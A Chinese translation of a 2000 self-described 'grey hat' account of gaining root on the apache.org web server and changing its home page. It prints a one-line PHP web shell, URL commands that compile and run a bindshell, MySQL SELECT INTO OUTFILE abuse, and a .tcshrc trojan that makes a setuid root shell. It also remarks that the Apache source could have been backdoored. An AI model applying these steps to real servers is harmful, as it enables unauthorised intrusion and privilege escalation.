某"灰帽子"hacker修改 www.apache.org 主页的经过自述

/ns/hk/hacker/data/20010109014311.htm

某"灰帽子"hacker修改 www.apache.org 主页的经过
(CNNS注: Apache web server是全球使用最广泛的Web Server软件之一)

/*
* 在你开始读以前
*/
这份文档并非一个漏洞的发现。它指出的是普通配置错误, 甚至连 apache.org 的人也这样配置。这是一般的警
告。从中学习修正你的系统, 那么我们就不会... :)

/*
* 介绍
*/
这份文件描述了如何入侵apache.org, 在一个星期的过程中,我们成功地取得了运行 www.apache.org 的机器的ROOT权限,并且修改了主页,显示
“Powered by Microsoft BackOffice”标识语而不是“Powered by by Apache”的缺省标识语。 除了防止其它 (可能恶意 ) 的人进入,没有改变其它的东西。

注意这篇文章中所叙述的问题不是APACHE程序设计问题, 这些都是设置错误 ( 从 Bugzilla 的说明中直述的 , 但是那说明有了足够的警告,因此我不抱怨 BugZilla 开发者 ) 。运行 apache httpd 的人不需要开始担心,因为任何担心的问题会在此处揭开。

我们入侵了 www.apache.org ,是因为有很多服务器运行 apache 软件并且如果 www.apache.org 也能给攻克了, 某人把后门放入apache源程序,他最终会拥有很多肉鸡。

我们必须对 ftproot== wwwroot 这样的目录设置做安全的分析。当一个用户有了ROOT时,他必须明白他必须很小心地面对很多安全问题。

/*
* ftproot== wwwroot
* o+w dirs
*/
当匿名浏览ftp://ftp.apache.org时,我们发现了http://www.apache.org 的映射在FTP服务器的一个目录是可写的。


因此我们写了一个名为 wuh.php3 的脚本,其中包括下列语句:
< ?
passthru ( $cmd );
?>
然后我们匿名上载到那一个可写目录。


/*
* 执行指令
*/
这样, 在调用了象以下命令时,可以用下面这样的参数执行指令(如id):
http://www.apache.org/thatdir/wuh.php3?cmd=id

下面是上载一些 bindshell 并用以下命令编译它 http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c

然后用这个命令执行:
http://www.apache.org/thatdir/wuh.php3?cmd=./httpd


/*
* shell 命令解译器
*/
当然,我们使用了bindshell 首先需要ppl去使用一个口令认证 ( :

现在,我们远程登录到绑定命令解译器的通讯口65533,因为 cgi 作为用户nobody正在运行,所以我们有本地用户nobody 的权限。


/*
* The apache.org 系统
*/
我们在 apache.org 系统上发现了什么呢:
-o=rx /root
-o=rx homedirs

apache.org 是一个 freebsd 3.4 系统。我们不想要使用任何缓冲区溢出
或无说服力的漏洞, 目的是仅仅使用配置错误来得到 root 权限。


/*
* Mysql
*/
在长时间搜索以后我们发现了那 mysql 作为 root 用户运行并只允许本地连接。在 apache.org 需要一个 mysql 帐号来运行bugzilla 并且在 bugzilla 中,用户名 / 口令为纯文本 ,这样可以很容易地通过 mysql 数据库得到用户名和密码。

我们下载了 nportredird 并把它安装好,允许我们的IP连接23306端口,并重定向到到服务器的 3306 端口.这样我们就能使用我们的 mysql 客户端远程连接mysql server了


/*
* 完整的 mysql 访问权限
* 创建文件
*/
通过本地通讯口 3306 得到访问权限, 使用登录'bugs' ( 它有
了完全访问权限 , 我们打开了通道。在BugZilla 说明中那个快速设置( 所有为 Y的 )有大量的安全警告, 包括“别使用root运行 mysqld ”。

使用 " SELECT ... INTO OUTFILE;" 我们现在能在任何地方建立文件, 作为root。这些文件是模式 666 ,然而我们不能覆盖任何文件。

但是你能用这些做什么呢?写 .rhosts 文件-无用, 因为正常情况下的 rshd 不会接受一个 world-writable的 .rhosts 文件。此外,这个系统上也没有运行rshd。


/*
* /root/.tcshrc
*/
因此, 我们决定使用木马的办法。我们使用了数据库
“test”并建立一个长 80个字符的文件。
通过两个insert和一个select操作之后, 我们自己有了一个内容如下的/root/.tcshrc :
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc


/*
* ROOT!
*/
root? 小儿科!现在只需要等待有人执行 su - 。碰巧, 有9 个人合法地成为root, 这没花太长时间。剩余的是很轻松的事情了 - 很快就得到ROOT了,我们送了这份报告给一位管理员。


/*
* 关于 ftproot== wwwroot
*/
在修改主页以前,我们堵住了ftproot的毛病.


/*
* 还能做些什么?
*/
记得去年在 ftp.win.tue.nl 上的木马 tcp_wrappers 吗(去年很多人下载了tcp_wrapper这个软件的木马版本)?只要
我们想, 我们能在 Apache做一样的事情 。编辑源代码并让人
下载木马版本。骇人吗 ?


/*
* 简言之:
*/
- ftproot== webroot , 可写目录允许我们上载并执行 php3 脚本
- 作为ROOT运行的 mysqld , 没有口令就有完全的权限登录。


Regards,
{} and Hardbeat.

{} (mailto:karin@root66.nl.eu.org) is part of
RooT66 - http://root66.nl.eu.org
ShellOracle - http://www.shelloracle.cjb.net
b0f - http://b0f.freebsd.lublin.pl

Hardbeat (petervd@vuurwerk.nl) just has a lame page at http://www.dataloss.net/ (2000年5月7日 14:31)

相关连接:http://www.apache.org

摘自――网浪